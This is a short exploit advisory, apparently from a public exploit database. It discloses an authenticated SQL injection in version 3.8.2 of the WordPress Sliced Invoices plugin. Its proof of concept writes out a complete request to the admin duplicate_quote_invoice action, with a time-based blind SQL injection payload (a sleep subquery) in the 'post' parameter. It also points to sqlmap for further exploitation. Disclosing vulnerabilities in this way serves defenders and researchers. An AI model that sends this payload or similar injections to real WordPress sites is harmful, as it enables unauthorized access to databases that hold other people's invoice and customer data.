WordPress Plugin Sliced Invoices 3.8.2 - 'post' SQL Injection

# Exploit Title: Wordpress Sliced Invoices 3.8.2 - 'post' SQL Injection
# Date: 2019-10-22
# Exploit Author: Lucian Ioan Nitescu
# Contact: https://twitter.com/LucianNitescu
# Webiste: https://nitesculucian.github.io
# Vendor Homepage: https://slicedinvoices.com/
# Software Link: https://wordpress.org/plugins/sliced-invoices/
# Version: 3.8.2
# Tested on: Ubuntu 18.04 / Wordpress 5.3
 
# 1. Description:  
# Wordpress Sliced Invoices plugin with a version lower then 3.8.2 is affected 
# by an Authenticated SQL Injection vulnerability.

# 2. Proof of Concept: 
# Authenticated SQL Injection:
- Using an Wordpress user, access <your target> /wp-admin/admin.php?action=duplicate_quote_invoice&post=8%20and%20(select*from(select(sleep(20)))a)--%20
- The response will be returned after 20 seconds proving the successful exploitation of the vulnerability.
- Sqlmap can be used to further exploit the vulnerability.